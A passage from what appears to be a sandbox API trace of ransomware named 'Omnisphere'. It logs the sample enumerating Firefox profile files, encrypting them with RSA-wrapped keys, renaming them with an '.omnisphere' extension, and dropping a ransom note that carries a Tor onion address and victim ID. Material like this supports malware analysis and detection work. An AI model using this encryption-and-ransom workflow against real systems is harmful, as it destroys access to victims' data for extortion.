dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="2918063365piupsah.sqlite.omnisphere.id", cAlternateFileName="291806~1.ID")) returned 1 [0162.617] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4206636e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4206636e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4206636e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.617] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4206636e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4206636e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4206636e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0162.617] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0162.617] GetProcessHeap () returned 0x1600000 [0162.617] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172b348 | out: hHeap=0x1600000) returned 1 [0162.617] GetProcessHeap () returned 0x1600000 [0162.617] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172a950 | out: hHeap=0x1600000) returned 1 [0162.617] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ee8bb9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41ee8bb9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41f35085, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.617] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ee8bb9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41ee8bb9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41f35085, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0162.617] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0162.617] GetProcessHeap () returned 0x1600000 [0162.617] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172cd28 | out: hHeap=0x1600000) returned 1 [0162.617] GetProcessHeap () returned 0x1600000 [0162.617] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172d188 | out: hHeap=0x1600000) returned 1 [0162.617] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41de8bd2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea4c3c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41ea601c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 1 [0162.617] GetProcessHeap () returned 0x1600000 [0162.617] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xee) returned 0x174e418 [0162.617] PathCombineW (in: pszDest=0x174e418, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent", pszFile="moz-safe-about+home" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home" [0162.617] GetProcessHeap () returned 0x1600000 [0162.617] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf2) returned 0x174ef70 [0162.618] PathCombineW (in: pszDest=0x174ef70, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\*" [0162.618] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\*", lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41de8bd2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea4c3c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41ea601c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa9, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0162.618] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41de8bd2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea4c3c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41ea601c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa9, cFileName="..", cAlternateFileName="")) returned 1 [0162.618] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41de9f5b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41de9f5b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de9f5b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0xa9, cFileName=".metadata", cAlternateFileName="METADA~1")) returned 1 [0162.618] GetProcessHeap () returned 0x1600000 [0162.618] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x102) returned 0x1750190 [0162.618] PathCombineW (in: pszDest=0x1750190, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home", pszFile=".metadata" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata" [0162.618] StrStrW (lpFirst=".omnisphere", lpSrch=".metadata") returned 0x0 [0162.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.619] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3e0c3dc | out: lpFileSize=0x3e0c3dc*=46) returned 1 [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.620] GetTickCount () returned 0x116862f [0162.621] GetTickCount () returned 0x116862f [0162.621] GetTickCount () returned 0x116862f [0162.621] GetTickCount () returned 0x116862f [0162.621] GetTickCount () returned 0x116862f [0162.621] CryptAcquireContextW (in: phProv=0x3e0be64, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0be64*=0x1669230) returned 1 [0162.621] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0bdcc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be70 | out: phKey=0x3e0be70*=0x16395e8) returned 1 [0162.622] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x80) returned 1 [0162.622] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.622] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0162.622] CreateFileMappingW (hFile=0x3b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e, lpName=0x0) returned 0x398 [0162.622] MapViewOfFile (hFileMappingObject=0x398, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e) returned 0x1480000 [0162.622] CryptAcquireContextW (in: phProv=0x3e0be54, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0be54*=0x1668708) returned 1 [0162.623] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0be0c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be64 | out: phKey=0x3e0be64*=0x16396a8) returned 1 [0162.623] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0be48*=0x2, dwFlags=0x0) returned 1 [0162.623] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0be50*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0be50*=0x10) returned 1 [0162.623] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.623] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.623] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.623] CryptDestroyKey (hKey=0x16396a8) returned 1 [0162.623] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0162.623] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x2e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0162.623] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c3e4, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0c3e4*=0x524, lpOverlapped=0x0) returned 1 [0162.625] GetProcessHeap () returned 0x1600000 [0162.625] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x312) returned 0x17505d0 [0162.625] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata.omnisphere")) returned 1 [0162.626] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata.omnisphere.id" [0162.626] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.628] WriteFile (in: hFile=0x394, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0be6c, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0be6c*=0x524, lpOverlapped=0x0) returned 1 [0162.629] CloseHandle (hObject=0x394) returned 1 [0162.629] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.630] CloseHandle (hObject=0x398) returned 1 [0162.630] SetEndOfFile (hFile=0x3b4) returned 1 [0162.630] FlushFileBuffers (hFile=0x3b4) returned 1 [0162.632] CloseHandle (hObject=0x3b4) returned 1 [0162.633] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home") returned 1 [0162.633] GetProcessHeap () returned 0x1600000 [0162.633] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1750c08 [0162.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.633] GetProcessHeap () returned 0x1600000 [0162.633] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17336a8 [0162.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17336a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.633] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.633] GetProcessHeap () returned 0x1600000 [0162.633] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f1e0 [0162.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f1e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.633] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.633] GetProcessHeap () returned 0x1600000 [0162.633] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11e) returned 0x17508f0 [0162.633] PathCombineW (in: pszDest=0x17508f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\!DECRYPT_OMNISPHERE.txt" [0162.633] GetProcessHeap () returned 0x1600000 [0162.633] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1741bf8 [0162.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.634] WriteFile (in: hFile=0x3b4, lpBuffer=0x1741bf8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c404, lpOverlapped=0x0 | out: lpBuffer=0x1741bf8*, lpNumberOfBytesWritten=0x3e0c404*=0x588, lpOverlapped=0x0) returned 1 [0162.635] CloseHandle (hObject=0x3b4) returned 1 [0162.635] GetProcessHeap () returned 0x1600000 [0162.635] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1750c08 | out: hHeap=0x1600000) returned 1 [0162.635] GetProcessHeap () returned 0x1600000 [0162.635] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x114) returned 0x1750c08 [0162.635] PathCombineW (in: pszDest=0x1750c08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\unique_decrypt.key" [0162.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.636] WriteFile (in: hFile=0x3b4, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c418, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c418*=0x5a0, lpOverlapped=0x0) returned 1 [0162.637] CloseHandle (hObject=0x3b4) returned 1 [0162.637] GetProcessHeap () returned 0x1600000 [0162.637] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1750c08 | out: hHeap=0x1600000) returned 1 [0162.637] GetProcessHeap () returned 0x1600000 [0162.637] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1750190 | out: hHeap=0x1600000) returned 1 [0162.637] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41e667ed, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41e667ed, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41e667ed, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x3b, dwReserved0=0x0, dwReserved1=0xa9, cFileName=".metadata-v2", cAlternateFileName="METADA~2")) returned 1 [0162.637] GetProcessHeap () returned 0x1600000 [0162.637] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x108) returned 0x1750190 [0162.637] PathCombineW (in: pszDest=0x1750190, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home", pszFile=".metadata-v2" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2" [0162.637] StrStrW (lpFirst=".omnisphere", lpSrch=".metadata-v2") returned 0x0 [0162.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.638] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3e0c3dc | out: lpFileSize=0x3e0c3dc*=59) returned 1 [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.638] GetTickCount () returned 0x116863f [0162.639] GetTickCount () returned 0x116863f [0162.639] GetTickCount () returned 0x116863f [0162.639] GetTickCount () returned 0x116863f [0162.639] GetTickCount () returned 0x116863f [0162.639] GetTickCount () returned 0x116863f [0162.639] GetTickCount () returned 0x116863f [0162.639] GetTickCount () returned 0x116863f [0162.639] GetTickCount () returned 0x116863f [0162.639] GetTickCount () returned 0x116863f [0162.639] GetTickCount () returned 0x116863f [0162.639] CryptAcquireContextW (in: phProv=0x3e0be64, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0be64*=0x1669230) returned 1 [0162.639] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0bdcc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be70 | out: phKey=0x3e0be70*=0x16395e8) returned 1 [0162.639] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x80) returned 1 [0162.640] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.640] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0162.640] CreateFileMappingW (hFile=0x3b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b, lpName=0x0) returned 0x398 [0162.640] MapViewOfFile (hFileMappingObject=0x398, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b) returned 0x1480000 [0162.640] CryptAcquireContextW (in: phProv=0x3e0be54, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0be54*=0x16681b8) returned 1 [0162.641] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0be0c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be64 | out: phKey=0x3e0be64*=0x16395e8) returned 1 [0162.641] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0be48*=0x2, dwFlags=0x0) returned 1 [0162.641] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0be50*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0be50*=0x10) returned 1 [0162.641] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, 